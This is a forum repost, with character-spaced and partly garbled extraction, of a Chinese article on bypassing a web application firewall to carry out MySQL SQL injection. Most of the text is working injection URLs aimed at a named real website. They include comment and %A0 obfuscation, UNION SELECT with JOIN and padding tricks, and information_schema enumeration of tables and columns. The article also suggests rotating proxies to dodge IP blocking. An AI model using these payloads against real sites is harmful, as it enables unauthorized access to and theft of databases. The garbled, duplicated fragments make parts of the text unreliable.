搜索

[12086] 2017-12-04_MySQL绕过WAF实战技巧

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2017-12-04_MySQL绕过WAF实战技巧 M y S Q L 绕 过 W A F 实 战 技 巧 原 创   b l a c k s u n n y   F r e e B u f   2 0 1 7 - 1 2 - 0 4 一 、 前 言 一 、 前 言 本 人 喜 欢 遇 到 好 的 东 西 ， 乐 于 分 享 ， 关 注 本 人 喜 欢 遇 到 好 的 东 西 ， 乐 于 分 享 ， 关 注 f r e e b u f 有 段 时 间 了 ， 写 过 两 篇 文 章 ， 每 次 写 写 文 章 ， 不 仅 仅 是 为 了 挣 有 段 时 间 了 ， 写 过 两 篇 文 章 ， 每 次 写 写 文 章 ， 不 仅 仅 是 为 了 挣 点 稿 费 。 而 是 通 过 此 平 台 能 够 认 识 一 些 安 全 圈 的 小 伙 伴 ， 互 相 学 习 ， 共 同 进 步 。 在 安 全 行 业 也 有 些 曲 折 ， 发 过 点 稿 费 。 而 是 通 过 此 平 台 能 够 认 识 一 些 安 全 圈 的 小 伙 伴 ， 互 相 学 习 ， 共 同 进 步 。 在 安 全 行 业 也 有 些 曲 折 ， 发 过 工 控 协 议 工 控 协 议 f u z z i n g 的 入 门 教 程 ， 也 发 过 无 线 安 全 的 渗 透 测 试 脚 本 。 这 次 发 个 的 入 门 教 程 ， 也 发 过 无 线 安 全 的 渗 透 测 试 脚 本 。 这 次 发 个 w e b 的 吧 。 仅 供 学 习 ， 本 人 也 是 小 的 吧 。 仅 供 学 习 ， 本 人 也 是 小 菜 。 大 牛 直 接 飞 过 吧 。 菜 。 大 牛 直 接 飞 过 吧 。 二 、 综 述 二 、 综 述 最 近 在 研 究 w e b 安 全 ， 感 觉 不 掌 握 点 绕 过 技 巧 ， 没 法 混 ， 在 看 了 几 天 的 关 于 s q l 注 入 绕 过 的 方 式 后 ， 大 都 是 宏 观 的 讲 解 有 哪 些 绕 过 方 式 。 简 单 的 总 结 了 下 ： 1 、 注 释 方 式 绕 过 2 、 编 码 方 式 绕 过 3 、 大 小 写 方 式 绕 过 4 、 缓 冲 区 溢 出 导 致 拒 绝 服 务 从 而 绕 过 （ f u z z 技 术 ） 这 是 目 前 几 天 所 看 到 的 ， 有 好 的 思 路 的 小 伙 伴 ， 可 以 随 时 交 流 。 之 前 建 了 一 个 无 线 电 安 全 研 究 的 群 ： 1 6 3 3 0 9 2 6 9 。 欢 迎 不 限 于 研 究 无 线 电 、 物 联 网 安 全 的 大 牛 加 入 。 这 次 主 要 是 看 到 国 外 大 牛 对 m y s q l 注 入 测 试 的 一 些 思 路 ， 然 后 自 己 整 理 下 ， 分 享 下 。 对 于 只 看 宏 观 文 章 ， 没 有 实 战 的 演 练 ， 无 疑 是 很 好 的 案 例 。 三 、 具 体 实 现 三 、 具 体 实 现 本 次 测 试 是 以 如 下 站 点 为 例 ： h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = 1 2 3 1 、 首 先 加 入 单 引 号 h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = 1 2 3 ’ ， 出 现 下 面 提 示 ： o w n e r   h a s   d e n i e d   y o u r   a c c e s s   t o   t h e s i t e . 然 后 尝 试 b y p a s s 。    
2 、 然 后 在 输 入 如 下 测 试 链 接 ： h t t p : / / w w w . e c g i . o r g / w p _ i d . p h p ? i d = 1 2 3 ’   o R d e r   B y   1 0 0 —   -     会 再 次 阻 塞 我 们 的   I P 地 址 ， 拒 绝 我 们 访 问 。 3 、 尝 试 G r o u p   B y ， 测 试 链 接 为 ： h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = 2 1 3   ’   G r o u p   B y   1 0 0   —   -       出 现 U n k n o w n c o l u m n   ‘ 1 0 0 ’   i n   ‘ g r o u p   s t a t e m e a t ’ 。 这 里 代 表 G r o u p   B y 可 以 工 作 ， w a f 不 能 阻 塞 。 然 后 用 如 下 测 试 ： 这 里 代 表 是 2 5 列 。 4 、 下 面 测 试 如 何 B y p a s s   O r d e r   B y 。 通 过 手 工 测 试 发 现 只 要 O r d e r 和 B y 连 在 一 起 就 会 被 w a f 阻 塞 。 通 过 测 试 p a y l o a d   为 ： h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = 2 1 3   ’   O r d e r % A 0 B y   1 0 0     出 现 报 错 ， 说 明 w a f 没 有 过 滤 ， 已 经 可 以 b y p a s s 。
这 里 还 有 一 种 方 式 ： p a y l o a d 为 ： h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = 2 1 3 ’   / _ / / ! 5 0 0 0 0 O r d e r /   B y   1 0 0   —   - 依 然 可 以 报 错 ， 说 明 也 可 以 b y p a s s   w a f 。 5 、 接 下 来 进 行 联 合 查 询 ， 使 用 u n i o n   s e l e c t 。 使 用 手 工 测 试 下 ： h t t p : / / w w w . e c g i . o r g / w p / w p _ i d ? i d = 1 2 3 ’   U n I o N   S e L e C t           发 现 被 w a f 拦 截 。 下 面 再 次 尝 试 b y p a s s 。
首 先 手 工 判 断 下 过 滤 字 段 是 什 么 ， 经 过 测 试 发 现 只 要 U n I o N 和 S e L e C T 连 在 一 起 ， 就 会 别 w a f 拦 截 。 那 么 开 始 写 p a y l a o d 来 绕 过 吧 。 p a y l o a d 为 ： h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = 2 1 3 ’ / _ / U n I o N ( / ! 5 0 0 0 0 S e L e C t /   1 , 2   —   -       ( 温 馨 提 示 ， 有 些 w a f 可 能 会 在 攻 击 者 较 多 测 试 过 程 中 会 封 锁 I P ， 建 议 使 用 代 理 不 断 更 新 自 己 的 I P 地 址 ） 。 这 里 报 错 ， 说 明 已 经 b y p a s s 了 。 上 面 知 道 了 c o l u m n 是 2 5 , 那 么 我 们 可 以 构 造 p a y l o a d 为 ： h t t p : / / w w w w . e c g i . o r g / w p / w p _ i d . p h p ？ i d = - 2 1 3 ’ / _ / U n I o N ( / ! 5 0 0 0 0 S e L e C t / 1 , 2 , 3 , 4 4 4 4 4 4 4 4 4 4 4 4 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 ) —   -     来 进 行 测 试 ： 发 现 在 T i t l e 中 爆 出 我 们 填 写 的 数 据 。 在 U n I o N 和 S e L e C t 直 接 过 滤 情 况 下 ， 还 可 以 尝 试 另 一 种 方 式 来 进 行 测 试 ， 从 而 绕 过 w a f 。 h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = 2 1 3 ’   U n I o N % A 0 S e L e C T   1 , 2   —   - 这 里 会 报 错 ， 说 明 可 以 b y p a s s 。 但 是 在 联 合 查 询 的 时 候 ， 查 询 填 充 的 列 分 割 较 多 时 ， 就 会 别 w a f 拦 截 。 如 下 p a y l o a d 为 ： h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = 2 1 3 ’   U n I o N % A 0 S e L e C T   1 , 2 , 3 , 4 , 5 , 6   —   -
这 里 存 在 几 种 绕 过 方 式 ： （ （ 1 ） 使 用 ） 使 用 J o i n 查 询 查 询     p a y l o a d 构 造 为 ： 如 下 图 所 示 ， b y p a s s 成 功 ！ （ （ 2 ） 使 用 字 符 ） 使 用 字 符 ( ~ ) p a y l o a d 构 造 为 ： 这 里 依 然 被 w a f 拦 截 。   h t t p : / / w w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = - 2 1 3 ’     U n I o N % A 0 S e L e C T * F r O m ( S e L e C t   1 ) a   J O I N   ( S e L e C t   2 ) b   J O I N   ( S e L e C t   3 ) c   J O I N   ( S e L e C t   4 ) d   J O I N   ( S e L e C t   5 ) e   J O I N   ( S e L e C t   6 ) f   J O I N   ( S e L e C t   7 ) g   J O I N   ( S e L e C t   8 ) h   J O I N   ( S e L e C t   9 ) i   J O I N   ( S e L e C t   1 0 ) j   J O I N   ( S e L e C t   1 1 ) k   J O I N   ( S e L e C t   1 2 ) l   J O I N   ( S e L e C t   1 3 ) m   J O I N   ( S e L e C t   1 4 ) n   J O I N   ( S e L e C t   1 5 ) o   J O I N   ( S e L e C t   1 6 ) p   J O I N   ( S e L e C t   1 7 ) q   J O I N   ( S e L e C t   1 8 ) r   J O I N   ( S e L e C t   1 9 ) s   J O I N   ( S e L e C t   2 0 ) t   J O I N   ( S e L e C t   2 1 ) w   J O I N   ( S e L e C t   2 2 ) x   J O I N   ( S e L e C t   2 3 ) y   J O I N   ( S e L e C t   2 4 ) z   J O I N   ( S e L e C t   2 5 ) 2 a - -   -   h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = - 2 1 3 ’   U n I o N % A 0 S e L e C T   1 , 2 , 3 , 4 , 5 , ~ 6 - -   -
然 后 在 5 前 面 加 入 ~ , p a y l o a d 为 ： 如 图 所 示 ， b y p a s s 成 功 ！ （ （ 3 ） 使 用 小 数 点 （ ） 使 用 小 数 点 （ . ） ） p a y l o a d 构 造 为 ： 如 图 所 示 ， b y p a s s 成 功 ！ （ （ 4 ） 使 用 单 引 号 （ ） 使 用 单 引 号 （ ‘ ’ ） ） p a y l o a d 构 造 为 ： 如 图 所 示 ， b y p a s s 成 功 ！ h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = - 2 1 3 ’   U n I o N % A 0 S e L e C T   1 , 2 , 3 , 4 , ~ 5 , ~ 6 - -   - h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = - 2 1 3 ’   U n I o N % A 0 S e L e C T   1 , 2 , 3 , 4 , . 5 , . 6 - -   - h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = - 2 1 3 ’   U n I o N % A 0 S e L e C T   1 , 2 , 3 , 4 , ’ 5 ’ , ’ 6 ’ - -   -
（ （ 5 ） 使 用 双 引 号 （ ） 使 用 双 引 号 （ “ ” ） ） p a y l o a d 构 造 为 ： 如 图 所 示 ， b y p a s s 成 功 ！ （ （ 6 ） 使 用 字 符 （ ） 使 用 字 符 （ * 9 e 0 ） ） p a y l o a d 构 造 为 ： S e L e C T   1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 —   - 如 图 所 示 ， b y p a s s 成 功 ！ h t t p : / / w w w . e c g i . o r g / w p / w p _ i d ? i d = - 2 1 3 ’   U n I o N % A 0 S e L e C T   1 , 2 , 3 , 4 , ” 5 ” , ” 6 ” - -   - h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? = 2 1 3 ’ * 9 e 0 U n I o N
6 、 上 面 基 本 绕 过 之 后 ， 开 始 尝 试 爆 数 据 。 首 先 我 们 爆 一 下 i n f o r m a t i o n _ s c h e m a 的 t a b l e _ n a m e . 构 造 p a y l o a d 为 ： S e L e C T   1 , 2 , 3 , C o n C a t ( t a b l e _ n a m e ) , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5   F r O m   I n f o r m a t i o n _ s c h e m a —   - 这 里 被 w a f 拦 截 。 好 吧 ， 继 续 b y p a s s 操 作 。 。 。 首 先 通 过 手 工 尝 试 ， 看 看 过 滤 什 么 字 段 ， 通 过 测 试 过 滤 了 F r O m 。 我 们 这 里 可 以 选 择 上 面 的 一 些 绕 过 方 式 ， 比 如 % A 0 或 者 / ! 5 0 0 0 0 / 都 没 有 成 功 。 下 面 来 讲 一 下 通 过 其 他 两 种 方 式 来 进 行 b y p a s s 测 试 。 （ （ 1 ） 在 ） 在 F r O m 前 加 前 加 e 0   来 来 b y p a s s 构 造 p a y l o a d ： S e l e C T   1 , 2 , 3 , C o n C a t ( t a b l e _ n a m e ) 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 e 0 F r O m   I n f o r m a t i o n _ s c h e m a —   - h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = 2 1 3 ’ * 9 e 0 U n I o N h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = 2 1 3 ’ * 9 e 0 U n I o N
如 图 所 示 ， 发 现 报 错 ， 说 明 b y p a s s 成 功 ！ 然 后 在 构 造 完 整 的 查 询 。 I n f o r m a t i o n _ s c h e m a . T a b l e s 。 如 图 所 示 ： o h   s h i t … . 依 然 被 w a f 拦 截 。 接 着 分 析 绕 过 吧 ， 通 过 手 工 测 试 ， w a f 过 滤 的 是 小 数 点 ( . ) 。 那 么 构 造 p a y l o a d 吧 ： S e L e C T   1 , 2 , 3 , C o n C a t ( t a b l e n a m e ) , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 e 0 F r O m I n f o r m a t i o n _ s c h e m a . / * * * * / T a b l e s —   - 如 图 所 示 ， b y p a s s 成 功 ！ （ （ 2 ） 加 小 数 点 来 ） 加 小 数 点 来 b y p a s s p a y l o a d 为 ： S e L e C T   1 , 2 , 3 , C o n C a t ( t a b l e n a m e ) , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , . 2 5 F r O m I n f o r m a t i o n _ s c h e m a . / * * * * / T a b l e s —   - 如 图 所 示 ， 如 图 所 示 ， b y p a s s 成 功 ！ 成 功 ！ 7 、 下 面 来 让 我 们 打 印 出 i n f o r m a t i o n _ s c h e m a 数 据 库 的 所 有 的 表 和 列 吧 。 测 试 p a y l o a d 的 为 ： h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? o d = 2 1 3 ’ * 9 e 0 U n I o N h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = 2 1 3 ’ * 9 e 0 U n I o N
如 图 所 示 ： 如 图 所 示 ： 8 、 接 着 来 打 印 p r i m a r y   D A T A B A S E 。 好 吧 ， 这 里 被 过 滤 了 w h e r e 。 下 面 尝 试 绕 过 ， 废 话 不 多 数 ， 绕 过 方 式 使 用 / ! 5 0 0 0 0 / 。 如 图 所 示 ： 9 、 我 们 想 查 询 出 插 入 的 一 句 话 ， 这 里 以 大 牛 为 例 ： I N S E T   B Y   S A J I B 。 把 这 段 字 符 转 换 为 h e x ， 好 吧 ， 这 里 被 w a f 拦 截 了 ， 说 明 过 滤 了 H e x   C o n v e r t   N u m b e r 。 如 图 所 示 ： h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = 2 1 3 ’ * 9 e 0 U n I o N   S e L e C T   1 , 2 , 3 , G r o u p _ C o n C a t ( 0 x 3 c 6 c 6 9 3 e , t a b l e _ n a m e , 0 x 3 a 3 a 3 a 3 a 3 a , c o l u m n _ n a m e ) , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , . 2 5 F r O m   I n f o r m a t i o n _ s c h e m a . / * * _ * * / c o l u m n s - -   - h t t p : / / w w w . e c g i . o r g / w p / w p _ i d . p h p ? i d = 2 1 3 ’ * 9 e 0 U n I o N   S e L e C T   1 , 2 , 3 , G r o u p _ C o n C a t ( 0 x 3 c 6 c 6 9 3 e , t a b l e _ n a m e , 0 x 3 a 3 a 3 a 3 a 3 a , c o l u m n _ n a m e ) , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , . 2 5 F r O m   I n f o r m a t i o n _ s c h e m a . / * * _ * * / c o l u m n s   W h e r e - -   -
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理